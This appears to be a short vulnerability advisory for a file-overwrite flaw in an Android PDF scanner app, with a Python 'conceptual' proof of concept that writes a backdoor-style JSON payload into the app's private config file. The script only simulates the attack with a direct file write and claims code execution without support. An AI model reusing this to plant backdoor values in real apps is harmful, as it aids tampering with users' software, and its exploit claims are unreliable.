CVE-2026-30287: ACE Scanner PDF Scanner任意文件覆盖漏洞

# Conceptual Proof of Concept for CVE-2026-30287 # This script demonstrates the logic of overwriting a critical file via the import process. import os def simulate_exploit(): # The vulnerable package name (derived from Play Store link) package_path = "/data/data/pdfscanner.scan.pdf.scanner.free/" # Target critical internal file to overwrite (e.g., a config or library) target_file = os.path.join(package_path, "files/critical_config.json") # Malicious payload content malicious_content = '{"admin": true, "backdoor": "enabled"}' print(f"[*] Targeting: {target_file}") # In a real exploit, this would involve invoking the app's import intent # with a crafted file path pointing to 'target_file'. try: # Simulating the write operation performed by the vulnerable app with open(target_file, 'w') as f: f.write(malicious_content) print(f"[+] Success: File overwritten with malicious payload.") print(f"[+] Next step: Trigger code execution by waiting for app restart.") except Exception as e: print(f"[-] Simulation failed: {e}") if __name__ == "__main__": simulate_exploit()
